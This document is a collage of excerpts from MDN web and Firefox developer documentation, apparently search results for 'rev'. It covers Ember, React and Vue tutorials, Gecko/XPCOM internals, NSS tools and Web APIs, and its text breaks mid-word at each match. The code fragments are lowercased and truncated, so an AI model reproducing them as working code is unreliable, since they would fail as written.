Ember Interactivity: Footer functionality, conditional rendering - Learn web development
p
revious overview: client-side javascript frameworks next now it's time to start tackling the footer functionality in our app.
... get todocountisone() { return this.incomplete.length === 1; } then go back over to footer.hbs and update the p
revious template section we edited to the following: <strong>{{this.todos.incomplete.length}}</strong> {{#if this.todos.todocountisone}} todo {{else}} todos {{/if}} left now save and test, and you'll see the correct pluralization used when you only have one todo item present!
...nts/todo.js file and update the contents to look like so, to give the todo component access to the service: import component from '@glimmer/component'; import { inject as service } from '@ember/service'; export default class todocomponent extends component { @service('todo-data') todos; } next, go back again to our todo-data.js service file and add the following action just below the p
revious ones, which will allow us to toggle a completion state for each todo: @action togglecompletion(todo) { todo.iscompleted = !todo.iscompleted; } updating the template to show completed state finally, we will edit the todo.hbs template such that the checkbox's value is now bound to the iscompleted property on the todo, and so that on change, the togglecompletion() method on the todo ...
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Ember interactivity: Events, classes and state - Learn web development
p
revious overview: client-side javascript frameworks next at this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items.
... add the following import statement below the existing one: import { tracked } from '@glimmer/tracking'; now add the following class below the p
revious line you added: class todo { @tracked text = ''; @tracked iscompleted = false; constructor(text) { this.text = text; } } this class represents a todo — it contains a @tracked text property containing the text of the todo, and a @tracked iscompleted property that specifies whether the todo has been completed or not.
... first add another import statement below the p
revious one, to make actions available inside the service: import { action } from '@ember/object'; update the existing export default class tododataservice extends service { … } block as follows: export default class tododataservice extends service { @tracked todos = []; @action add(text) { let newtodo = new todo(text); this.todos = [...this.todos, newtodo]; } } here, the todo...
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Getting started with React - Learn web development
p
revious overview: client-side javascript frameworks next in this article we will say hello to react.
...the jsx approach allows us to nest our elements within each other, just like we do with html: const header = ( <header> <h1>mozilla developer network</h1> </header> ); note: the parentheses in the p
revious snippet aren't unique to jsx, and don’t have any effect on your application.
...when you are done, your code should look something like this: reactdom.render(<app subject="clarice" />, document.getelementbyid('root')); back in app.js, let's
revisit the app function itself, which reads like this (with the return statement shortened for b
revity): function app() { const subject = "react"; return ( // return statement ); } change the signature of the app function so that it accepts props as a parameter, and delete the subject const.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
React interactivity: Editing, filtering, conditional rendering - Learn web development
p
revious overview: client-side javascript frameworks next as we near the end of our react journey (for now at least), we'll add the finishing touches to the main areas of functionality in our todo list app.
...update it as follows: <input id={props.id} classname="todo-text" type="text" value={newname} onchange={handlechange} /> finally, we need to create a function to handle the edit form’s onsubmit event; add the following just below the p
revious function you added: function handlesubmit(e) { e.p
reventdefault(); props.edittask(props.id, newname); setnewname(""); setediting(false); } remember that our edittask() callback prop needs the id of the task we're editing as well as its new name.
... beneath our p
revious addition, add the following — here we are using the object.keys() method to collect an array of filter_names: const filter_names = object.keys(filter_map); note: we are defining these constants outside our app() function because if they were defined inside it, they would be recalculated every time the <app /> component re-renders, and we don’t want that.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Using Vue computed properties - Learn web development
p
revious overview: client-side javascript frameworks next in this article we'll add a counter that displays the number of completed todo items, using a feature of vue called computed properties.
... to create a computed property, we need to add a computed property to our component object, much like the methods property we've used p
reviously.
...however, if you try checking and unchecking some items, you'll
reveal a bug.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Vue conditional rendering: editing existing todos - Learn web development
p
revious overview: client-side javascript frameworks next now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items.
... copy the following code into that file: <template> <form class="stack-small" @submit.p
revent="onsubmit"> <div> <label class="edit-label">edit name for "{{label}}"</label> <input :id="id" type="text" autocomplete="off" v-model.lazy.trim="newlabel" /> </div> <div class="btn-group"> <button type="button" class="btn" @click="oncancel"> cancel <span class="visually-hidden">editing {{label}}</span> </button> <button type="s...
... add this method below the p
revious one: editcancelled() { this.isediting = false; } last for this section, we'll add event handlers for the events emitted by the todoitemeditform component, and attach the appropriate methods to each event.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Getting started with Vue - Learn web development
p
revious overview: client-side javascript frameworks next now let's introduce vue, the third of our frameworks.
...navigate to "eslint with error p
revention only" and hit enter again.
... so if you wanted to create the moz-todo-vue project with npm and you'd p
reviously chosen yarn, you’d run vue create moz-todo-vue --packagemanager=npm.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Rendering a list of Vue components - Learn web development
p
revious overview: client-side javascript frameworks next at this point we've got a fully working component; we're now ready to add multiple todoitem components to our app.
...we could use lodash.uniqueid(), however, like we did in the p
revious article.
... to p
revent name collisions, remove the id field from your data attribute.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Styling Vue components with CSS - Learn web development
p
revious overview: client-side javascript frameworks next the time has finally come to make our app look a bit nicer.
... update your todoform template so that it looks like this: <template> <form @submit.p
revent="onsubmit"> <h2 class="label-wrapper"> <label for="new-todo-input" class="label__lg"> what needs to be done?
...this is where the scoped attribute can be useful — this attaches a unique html data attribute selector to all of your styles, p
reventing them from colliding globally.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Mozilla accessibility architecture
this tree traversal is accomplished via toolkit-specific calls which end up as calls into nsiaccessible methods getaccparent(), getaccnextsibling(), getaccp
revioussibling(), getaccfirstchild(), getacclastchild(), getaccchildcount() and getchildat(childnum).
...in that case we also override ::getaccnextsibling(), ::getaccp
revioussibling() for the dom-less children; otherwise they do not know how to find each other.
...therefore, ownership is
reversed -- accessible nodes own their dom objects.
... events: we must ensure that the accessible for an event is not released before the accessible client has a chance to
review its data.
Lightweight themes
firefox may
reveal more of the lower portion of the image if another toolbar or other ui element is added to the top of the window.
... the upper right-hand side of the image should have the most important information - as a user increases the width of the browser window, the browser
reveals more of the left-hand side of the image.
...keep in mind that a
reviewer may reject your theme if it is obvious that your category and/or tags are unrelated to your theme.
...keep in mind that a
reviewer may reject your theme if your description is not an accurate representation of your theme.
Command line options
some options have abb
reviations, for example, "-editor" can be abb
reviated as "-edit" (available abb
reviations are described in the text below).
... user profile -allow-downgrade firefox 67's downgrade protection p
revents accidentally starting firefox in a profile running a later version of firefox.
...note profile_name and profile_dir are quoted together, and are separated by exactly 1 space (as with the p
revious syntax, profile_name must not contain spaces).
...useful with those command-line arguments that open their own windows but don't already p
revent default windows from opening.
Debugging Frame Reflow
it provides the following information for each frame at the start of its reflow reflow reason available width, available height computed width, computed height the p
revious and the next frame in flow and a count number.
...the second table reflow is started at rowg 00b984a4 r=2 a=1500,uc c=1500,uc cnt=879 where the p
revious information is used.
...element size only once and it reports now: block 02d7bcf8 d=1410,300 the block shows the same address as the p
revious one.
...advanced reflow debugging the p
reviously described technique dumps the data for every frame.
The Firefox codebase: CSS Guidelines
basics here are some basic tips that can optimize
reviews if you are changing css: avoid !important but if you have to use it, make sure it's obvious why you're using it (ideally with a comment).
...if this isn't possible, you can also try introducing a :not() to p
revent the other rule from applying, this is especially relevant for different element states (:hover, :active, [checked] or [disabled]).
... using inheriting or using currentcolor will p
revent repetition of the value and it is usually good practice to do so.
... if you are not using windows, one way to test against those adjustments on other platforms is: going to about:preferences clicking on the "colors..." button in the "fonts & colors" sub-section of the "language and appearance" section under "override the colors specified by the page with your selections above", select the "always" option chrome area the automatic adjustments p
reviously mentioned only apply to pages rendered in the content area.
Eclipse CDT Manual Setup
henever you create a new workspace for a mozilla source tree, you should be sure to turn off the following two settings in the workspace preferences (window > preferences, or eclipse > preferences) before creating a project in that workspace: in "general > workspace", disable "build automatically" in "c/c++ > indexer", disable "automatically update the index" turning off automatic indexing p
revents the cpu intensive indexer from running at various stages during the steps below before we're ready.
... select "general > workspace" and select "refresh using native hooks or polling" and "refresh on access" to p
revent eclipse giving you annoying "resource is out of sync" messages when files change from under it due to mercurial or other external activity.
...this p
revents the (useless if not debugging) "searching for binaries" action from constantly interrupting everything.
...doing this p
revents the "searching for binaries" which eclipse constantly starts from taking too long.
CustomizableUI.jsm
onwidgetaftercreation(awidgetid, aarea) fired after a widget with id awidgetid has been created, and has been added to either its default area or the area in which it was placed p
reviously.
... undoreset() undoes a p
revious reset, restoring the state of the ui to the state prior to the reset.
... removeextratoolbar() remove a custom toolbar added in a p
revious version of firefox or using an add-on.
... canundoreset bool whether the "restore defaults" operation can be
reverted.
DeferredTask.jsm
void disarm(); finalize ensure that any pending task is executed from start to finish, while p
reventing any attempt to arm the timer again.
...the task cannot be re-entered while running, but can be executed again after a p
revious run finished.
...to guarantee that the task is executed for the last time, the method p
revents any attempt to arm the timer again.
... for example, during shutdown, you may want to ensure that any pending write is processed, using the latest version of the data if the timer is armed: asyncshutdown.profilebeforechange.addblocker( "example service: shutting down", () => savedeferredtask.finalize() ); instead, if you are going to delete the saved data from disk anyways, you might as well p
revent any pending write from starting, while still ensuring that any write that is currently in progress terminates, so that the file is not in use any more: savedeferredtask.disarm(); savedeferredtask.finalize().then(() => os.file.remove(...)) .then(null, components.utils.reporterror); ...
Using JavaScript code modules
modules can also be used to create global javascript singletons that p
reviously required using javascript xpcom objects.
...//app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "6" alert(dummy); // displays "dummy is not defined" because 'dummy' was not exported from the module note: when you're testing changes to a code module, be sure to change the application's build id (e.g., the version) before your next test run; otherwise, you may find yourself running the p
revious version of your module's code.
... sharing objects using code modules an extremely important behavior of components.utils.import() is that modules are cached when loaded and subsequent imports do not reload a new version of the module, but instead use the p
reviously cached version.
... unloading code modules requires gecko 7.0(firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) components.utils.unload() allows you to unload a p
reviously imported code module.
Localization content best practices
if you're
reviewing a patch, check also strings for grammar errors, capitalization or inconsistencies.
...if you have any doubts about the quality of strings, ask a copywriter to do a copy
review of this text.
... ideally, all strings landing in code should originate from approved ux wireframes, any copy
review should be part of the initial stage of creating these wireframes.
...a bug marked with l12y describes an issue that p
revents localizers to create a good quality localization.
Translation phase
this tool includes workspaces for translating strings,
reviewing string submissions, and project dashboards.
... firefox mobile by adding firefox® to your mobile phone, you can access rich web content and enjoy your favorite firefox features whe
rever you go.
... this tutorial will walk you through performing these productization tasks, creating productization patches, and submitting them for
review.
... « p
reviousnext » ...
Mozilla DOM Hacking Guide
for example, getproperty() is used when retrieving an attribute that was not defined in idl, and newresolve() is used when resolving for the first time an attribute or method that was not p
reviously resolved.
... we already know what nsixpcscriptable is used for (see the p
revious section).
... user's guide to class info warning: this document has not yet been
reviewed by the dom gurus, it might contain some errors.
...the three parameters passed to the macro, as described in the p
revious section, are the dom object name, the scriptable helper class, and the scriptable flags.
Gecko Profiler FAQ
a better idea would be picking up a real browser workload where through p
revious profiling we know that malloc overhead contributes a measurable percentage of overhead to the overall time and then study the change to that workload after replacing the allocator.
... [ehsan] this is similar to the p
revious question to some extent, but the specific answer really depends on what kind of compiler flag we’re talking about and what performance impact we’re interested to study.
...then go to the p
revious step.
... [jesup] ok, that's the equivalent to itimer_real, kinda, except that per the p
revious question it doesn't interrupt every thread at once and snapshot the thread you started the itimer on, it interrupts each thread one at a time, which likely means distortion of the measurement if the number of threads monitored is significant (especially at high sample rates).
Memory reporting
and please ask nnethercote to co-
review any memory reporter patch.
...it helps p
revent accidentally having small differences in the function signatures (e.g.
... forgetting a const) that p
revent the overriding from happening.
... if you write a memory reporter, please get two people to
review it: (a) someone who knows the data structures being measured, and (b) nnethercote, who can check for all the things covered by this document.
TimerFirings logging
-991946880[7f46c365ba00]: [6775] fn timer (one_shot 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://a.visual
revenue.com/vrs.js:6:9423 these js timers are annotated with [content] and show the javascript source location where they were created.
... 204 801266240[7f7c1f248000]: [7163] fn timer (one_shot 50 ms): [content] http://widgets.outbrain.com/outbrain.js:20:330 135 -495057024[7f74e105ba00]: [7108] fn timer (one_shot 4 ms): [content] https://self-repair.mozilla.org/repair/:7:13669 118 801266240[7f7c1f248000]: [7163] fn timer (one_shot 100 ms): [content] http://a.visual
revenue.com/vrs.js:6:9423 103 801266240[7f7c1f248000]: [7163] fn timer (one_shot 50 ms): [content] http://static.dynamicyield.com/scripts/12086/dy-min.js?v=12086:3:3389 94 801266240[7f7c1f248000]: [7163] fn timer (one_shot 50 ms): [content] https://ad.doubleclick.net/ddm/adi/n7921.1283839cadreon.com.au/b9038144.122190976;sz=300x600;click=http://pixel.mathtag.com/click/img?mt_aid=...
... sed 's/^[^:]\+: //' # strip thread ids sed 's/\[[0-9]\+\] //' # strip process ids sed 's/ \+[0-9]\+ ms//' # strip timer periods the following is the p
revious sample output with all three of these commands added into the pipeline.
... 204 fn timer (one_shot): [content] http://widgets.outbrain.com/outbrain.js:20:330 186 fn timer (one_shot): nsbrowserstatusfilter::timeouthandler 138 fn timer (one_shot): [content] https://self-repair.mozilla.org/repair/:7:13669 118 fn timer (one_shot): [content] http://a.visual
revenue.com/vrs.js:6:9423 108 fn timer (slack): layeractivitytracker 104 fn timer (slack): nsidocument::selectorcache 104 fn timer (slack): cctimerfired ...
NSS functions
m mxr 3.2 and later ssl_preencryptedstreamtofile mxr 3.2 and later ssl_rehandshake mxr 3.2 and later ssl_rehandshakewithtimeout mxr 3.11.4 and later ssl_resethandshake mxr 3.2 and later ssl_restarthandshakeaftercertreq mxr 3.2 and later ssl_restarthandshakeafterservercert mxr 3.2 and later ssl_
revealcert mxr 3.2 and later ssl_
revealpinarg mxr 3.2 and later ssl_
revealurl mxr 3.2 and later ssl_securitystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg mxr 3.2 and later ssl_setsockpeerid mxr 3.2 and later ssl_seturl mxr 3.2 and later ss...
...ter cert_certlistfromcert mxr 3.2 and later cert_certtimesvalid mxr 3.2 and later cert_changecerttrust mxr 3.2 and later cert_checkcertvalidtimes mxr 3.2 and later cert_checknamespace mxr 3.12 and later cert_checkcertusage mxr 3.3 and later cert_comparename mxr 3.2 and later cert_compa
revaliditytimes mxr 3.11 and later cert_completecrldecodeentries mxr 3.6 and later cert_convertanddecodecertificate mxr 3.9.3 and later cert_copyname mxr 3.4 and later cert_copyrdn mxr 3.5 and later cert_createava mxr 3.2.1 and later cert_createcertificate mxr 3.5 and later cert_createcertificater...
...mxr 3.10 and later cert_getocspresponsestatus mxr 3.6 and later cert_getocspstatusforcertid mxr 3.6 and later cert_getoidstring mxr 3.9 and later cert_getorgname mxr 3.2 and later cert_getorgunitname mxr 3.2 and later cert_getocspauthorityinfoaccesslocation mxr 3.4 and later cert_getpkixverifynist
revocationpolicy mxr 3.12 and later cert_getp
revgeneralname mxr 3.10 and later cert_getp
revnameconstraint mxr 3.10 and later cert_getsloptime mxr 3.2 and later cert_getsslcacerts mxr 3.2 and later cert_getstatename mxr 3.2 and later cert_getusepkixforvalidation mxr 3.12 and later cert_getvaliddnsp...
... mxr 3.4 and later pk11_getnextsymkey mxr 3.4 and later pk11_getpadmechanism mxr 3.4 and later pk11_getpbecryptomechanism mxr 3.12 and later pk11_getpbeiv mxr 3.6 and later pk11_getpqgparamsfromprivatekey mxr 3.4 and later pk11_getp
revgenericobject mxr 3.9.2 and later pk11_getprivatekeynickname mxr 3.4 and later pk11_getprivatemoduluslen mxr 3.2 and later pk11_getpublickeynickname mxr 3.4 and later pk11_getslotfromkey mxr 3.2 and later pk11_getslotfromprivatekey mxr 3.2 and late...
NSS tools : vfychain
name vfychain — vfychain [options] [
revocation options] certfile [[options] certfile] ...
...prints root cert subject(double the argument for whole root cert info) -w password database password -w pwfile password file
revocation options for pkix api (invoked with -pp options) is a collection of the following flags: [-g type [-h flags] [-m type [-s flags]] ...] ...
...-h test flags sets
revocation flags for the test type it follows.
...-s method flags sets
revocation flags for the method it follows.
NSS tools : vfychain
name vfychain — vfychain [options] [
revocation options] certfile [[options] certfile] ...
...prints root cert subject(double the argument for whole root cert info) -w password database password -w pwfile password file
revocation options for pkix api (invoked with -pp options) is a collection of the following flags: [-g type [-h flags] [-m type [-s flags]] ...] ...
... -h test flags sets
revocation flags for the test type it follows.
... -s method flags sets
revocation flags for the method it follows.
JS_ParseJSON
syntax jsbool js_parsejson(jscontext *cx, const jschar *chars, uint32 len, jsval *vp); jsbool js_parsejsonwith
reviver(jscontext *cx, const jschar *chars, uint32 len, jsval
reviver, jsval *vp); name type description cx jscontext * pointer to a js context.
... index jsint (in js_parsejsonwith
reviver only) a
reviver function to apply to the created value after parsing; see json.parse.
...*vp receives the value after parsing (and optionally, processing by the
reviver).
...mxr id search for js_parsejson mxr id search for js_parsejsonwith
reviver ...
SpiderMonkey 1.8.8
it continues to improve performance over p
revious spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code.
... on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions.
... spidermonkey 1.8.8 is not binary-compatible with p
revious releases, nor is it source-code compatible.
...removal of jscontext* parameters to many methods the js_getclass method now takes only a jsobject*, where p
reviously it also required a jscontext* in threadsafe builds.
SpiderMonkey 17
it continues to improve performance over p
revious spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code.
... on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions.
... spidermonkey 17 is not binary-compatible with p
revious releases, nor is it source-code compatible.
...removal of jscontext* parameters to many methods the js_getclass method now takes only a jsobject*, where p
reviously it also required a jscontext* in threadsafe builds.
SpiderMonkey 45
it continues to improve performance over p
revious spidermonkey releases.
... on remaining platforms the jit is disabled; javascript code runs in an interpreter, as it has in p
revious versions.
... migrating to spidermonkey 45 spidermonkey 45 is not binary-compatible with p
revious releases, nor is it source-code compatible.
... many jsapi types; functions, and callback signatures, have changed though most functions that have retain their p
revious name, providing relatively unchanged functionality.
Animated PNG graphics
it is strongly recommended that when any error is encountered decoders should discard all subsequent frames, stop the animation, and
revert to displaying the default image.
... 2 apng_dispose_op_p
revious the frame's region of the output buffer is to be
reverted to the p
revious contents before rendering the next frame.
... if the first 'fctl' chunk uses a dispose_op of apng_dispose_op_p
revious it should be treated as apng_dispose_op_background.
...
revisions to this specification from 0.1 renamed chunks to 'anim' and 'fram' to comply with chunk naming conventions in the png spec.
Building the WebLock UI
« p
reviousnext » up until now, we've been building a component that can be installed in any gecko application.
... in the p
revious section, we outlined the javascript that interacts with the weblock component.
... weblockoverlay.xul the xul that defines the new icon is small: it's a little icon that calls a javascript function to load the weblock.xul file we defined p
reviously.
... « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger.
Using XPCOM Utilities to Make Things Easier
« p
reviousnext » this chapter goes back over the code you've already created in the first part of the tutorial (see weblock1.cpp in the p
revious chapter) and uses xpcom tools that make coding a lot easier and more efficient.
... generic xpcom module macros the work in the p
revious chapter was useful in setting up the generic component code.
...to get an idea about how much can be handled with the macros described in this section, compare the code listing in weblock2.cpp at the end of the chapter with weblock1.cpp in the p
revious chapter.
... « p
reviousnext » copyright (c) 2003 by doug turner and ian oeschger.
imgIContainer
note: -1 means fo
rever.
... clear() the whole image,
revealing.
... obsolete since gecko 2.0 kdisposeclear 2 clear() the frame's area,
revealing bg.
... obsolete since gecko 2.0 kdisposerestorep
revious 3 restore the p
revious(composited) frame.
nsIDOMWindowInternal
this interface no longer has any members; it exists solely to p
revent add-ons that reference it from failing completely.
... method overview firefox 3.5 note the prompt() and find() methods changed in firefox 3.5 to make all their parameters optional; in p
revious versions, all parameters were required.
... status domstring sets the text in the status bar at the bottom of the browser or returns the p
reviously set text.
... url nsidommozurlproperty readonly: a dom url object, which provides the window.url.createobjecturl() and window.url.
revokeobjecturl() methods.
nsIDialogParamBlock
methods getint() get a p
reviously set integer.
... return value the p
reviously set integer, or 0 if no integer has been p
reviously set at that index.
... getstring() get a p
reviously set string.
... return value the string at the given index, or the empty string if no string has p
reviously been set at that index.
nsIRequest
constant value description inhibit_caching 1 << 7 this flag p
revents caching of any kind.
... it does not, however, p
revent cached content from being used to satisfy this request.
... inhibit_persistent_caching 1 << 8 this flag p
revents caching on disk (or other persistent media), which may be needed to preserve privacy.
... note: this will p
revent proxy authentications from working, so use this flag with caution.
nsITraceableChannel
method overview nsistreamlistener setnewlistener(in nsistreamlistener alistener); methods setnewlistener() replaces the channel's current listener with a new one, returning the listener p
reviously assigned to the channel.
... return value the p
revious listener for the channel.
... each listener call through to the p
revious listener for every call, in order to establish a call chain to allow all interested parties a chance to act on each event.
... note: it is critical that you pass along requests to the p
revious listener as soon as possible -- especially for onstartrequest.
nsITreeColumn
nsitreecolumn getnext(); nsitreecolumn getp
revious(); void invalidate(); attributes attribute type description atom nsiatom the atom attribute of nsitreecolumn which returns an nsiatom for the column, making it fast to do comparisons.
...getp
revious() get the p
revious column in the nsitreecolumn.
... nsitreecolumn getp
revious(); parameters none.
... return value the p
revious nsitreecolumn in the nsitreecolumns.
Getting Started Guide
nscomptr is a tool to help p
revent leaks.
...do_queryinterface p
revents xpcom type errors.
... p
revent it in advance // by not returning pointers as function results, or else by returning // an |already_addrefed<t>| as above.
... void f( nscomptr<t>* ) avoid passing an nscomptr by address, if possible this practice requires callers to have an nscomptr, and requires them to do a little extra work, as operator& for nscomptrs is private (to help p
revent leaks caused by casting; also see bug 59414).
Initialization and Destruction - Plugins
« p
reviousnext » this chapter describes the methods that provide the basic processes of initialization, instance creation and destruction, and shutdown.
...when the user returns to the page, the p
revious frame number is passed to the new instance of the plug-in, so it can initially display the same frame.
... in npp_new, the saved parameter contains p
reviously saved data for this instance of the plug-in (saved by npp_destroy).
...*/ if (useragent != null) npn_memfree(useragent); return nperr_no_error; } « p
reviousnext » ...
Plug-in Development Overview - Plugins
« p
reviousnext » writing plug-ins once you decide what you want your plug-in to do, creating it is a simple process.
...for example, this description list corresponds to the types in the p
revious example: string 1: "quicktime video", string 4: "aiff audio", and string 5: "jpeg image format." str#' 126: string 1 can contain a descriptive message about the plug-in.
... streams produced by the plug-in to send to the browser are like normal-mode streams produced by the browser, but in
reverse.
... building plug-ins once you have added the special code and additional files to make your plug-in scriptable as described in the p
revious section, the build process is quite straightforward.
Streams - Plugins
« p
reviousnext » this chapter describes using plug-in api functions to receive and send streams.
...use this feature only as a last resort; plug-ins should implement an incremental stream-based interface whe
rever possible.
... streams sent by the plug-in to the browser are like normal-mode streams produced by the browser, but in
reverse.
... « p
reviousnext » ...
Set a breakpoint - Firefox Developer Tools
if the breakpoint is a conditional breakpoint, you'll get an option edit condition, which allows you to change the p
reviously set condition.
... inline variable p
review new in firefox 71, the source pane now gives you an inline p
review of the variables on each line of code you've stepped through: this is a very useful timesaver when stepping through your code.
... p
reviously you’d have to scroll through the scopes panel to find variable values, or hover over a variable in the source pane.
... note: there is also a new option in the context menu for the actual code in the source pane — hide inline p
review/show inline p
review — which allows you to turn the inline variables on/off.
DevTools API - Firefox Developer Tools
if unspecified the p
reviously active tool is shown.
... selectp
revioustool() selects the p
revious tool in the toolbox.
... p
reventclosingonkey boolean, optional.
... off(eventname, listener) removes the p
reviously added listener from the event.
Using images - Web APIs
« p
reviousnext » until now we have created our own shapes and applied styles to them.
... example: framing an image in this example, we'll use the same rhino as in the p
revious example, but we'll slice out its head and composite it into a picture frame.
...ttribute('height', 150); // insert before the image document.images[i].parentnode.insertbefore(canvas,document.images[i]); ctx = canvas.getcontext('2d'); // draw image to canvas ctx.drawimage(document.images[i], 15, 20); // add frame ctx.drawimage(document.getelementbyid('frame'), 0, 0); } } } controlling image scaling behavior as mentioned p
reviously, scaling images can result in fuzzy or blocky artifacts due to the scaling process.
...you can disable this feature like this: ctx.mozimagesmoothingenabled = false; ctx.webkitimagesmoothingenabled = false; ctx.msimagesmoothingenabled = false; ctx.imagesmoothingenabled = false; « p
reviousnext » ...
ConvolverNode - Web APIs
the convolvernode interface is an audionode that performs a linear convolution on a given audiobuffer, often used to achieve a
reverb effect.
... convolvernode.buffer a mono, stereo, or 4-channel audiobuffer containing the (possibly multichannel) impulse response used by the convolvernode to create the
reverb effect.
... let audioctx = new window.audiocontext(); async function create
reverb() { let convolver = audioctx.createconvolver(); // load impulse response from file let response = await fetch("path/to/impulse-response.wav"); let arraybuffer = await response.arraybuffer(); convolver.buffer = await audioctx.decodeaudiodata(arraybuffer); return convolver; } ...
... let
reverb = await create
reverb(); // someotheraudionode ->
reverb -> destination someotheraudionode.connect(
reverb);
reverb.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'convolvernode' in that specification.
FileReader.readAsDataURL() - Web APIs
example html <input type="file" onchange="p
reviewfile()"><br> <img src="" height="200" alt="image p
review..."> javascript function p
reviewfile() { const p
review = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string p
review.src = reader.result; }, false); if (...
...file) { reader.readasdataurl(file); } } live result example reading multiple files html <input id="browse" type="file" onchange="p
reviewfiles()" multiple> <div id="p
review"></div> javascript function p
reviewfiles() { var p
review = document.queryselector('#p
review'); var files = document.queryselector('input[type=file]').files; function readandp
review(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; p
review.appendchild( image ); }, false); reader.readasdataurl(file)...
...; } } if (files) { [].foreach.call(files, readandp
review); } } note: the filereader() constructor was not supported by internet explorer for versions before 10.
... for a full compatibility code you can see our crossbrowser possible solution for image p
review.
Introduction to the File and Directory Entries API - Web APIs
browsers impose storage quotas to p
revent a web app from using up the entire disk, browsers might impose a quota for each app and allocate storage among web apps.
... the security boundary imposed on file system p
revents applications from accessing data with a different origin.
... this protects private data by p
reventing access and deletion.
... the file and directory entries api does not let you create and rename executable files to p
revent malicious apps from running hostile executables, you cannot create executable files within the sandbox of the file and directory entries api.
GlobalEventHandlers.onerror - Web APIs
error events are fired at various targets for different kinds of errors: when a javascript runtime error (including syntax errors and exceptions thrown within handlers) occurs, an error event using interface erro
revent is fired at window and window.onerror() is invoked (as well as handlers attached by window.addeventlistener (not only capturing)).
... source: url of the script where the error was raised (string) lineno: line number where error was raised (number) colno: column number for the line where the error occurred (number) error: error object (object) when the function returns true, this p
revents the firing of the default event handler.
...}) event of type erro
revent contains all the information about the event and the error.
... notes when an error occurs in a script, loaded from a different origin, the details of the error are not reported to p
revent leaking information (see bug 363897).
HTMLImageElement.loading - Web APIs
by specifying the value lazy for loading, you p
revent the image from delaying the load attribute by the amount of time it takes to request, fetch, and process the image.
... p
reventing element shift during image lazy loads when an image whose loading has been delayed by the loading attribute being set to lazy is finally loaded, the browser will determine the final size of the <img> element based on the style and intrinsic size of the image, then reflow the document as needed to update the positions of elements based on any size change made to the element to fit the image...
... to p
revent this reflow from occurring, you should explicitly specify the size of the image's presentation using the image element's width and height attributes.
... by establishing the intrinsic aspect ratio in this manner, you p
revent elements from shifting around while the document loads, which can be disconcerting or offputting at best and can cause users to click the wrong thing at worst, depending on the exact timing of the deferred loads and reflows.
IDBCursor.direction - Web APIs
p
rev this direction causes the cursor to be opened at the end of the source.
... p
revunique this direction causes the cursor to be opened at the end of the source.
...within each iteration we log the direction of the cursor, something like this: p
rev note: we can't change the direction of travel of the cursor using the direction property, as it is read-only.
...for a complete working example, see our idbcursor example (view example live.) function backwards() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], 'readonly'); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor(null,'p
rev').onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.direction); cursor.continue(); } else { console.log('entries display...
MSSiteModeEvent - Web APIs
p
reventdefault cancels the default action of an event.
... stopimmediatepropagation p
revents any further propagation of an event.
... stoppropagation p
revents propagation of an event beyond the current target.
... defaultp
revented gets a value that indicates whether the default action should be canceled.
Using the Notifications API - Web APIs
granted the user has granted permission to display notifications, after having been asked p
reviously.
... n.close(); } }); note: this api shouldn't be used just to have the notification removed from the screen after a fixed delay (on modern browsers) since this method will also remove the notification from any notification tray, p
reventing users from interacting with it after it was initially shown.
...if a notification already has the same tag and has not been displayed yet, the new notification replaces that p
revious notification.
... if the notification with the same tag has already been displayed, the p
revious notification is closed and the new one is displayed.
Permissions - Web APIs
the permissions interface of the permissions api provides the core permission api functionality, such as methods for querying and
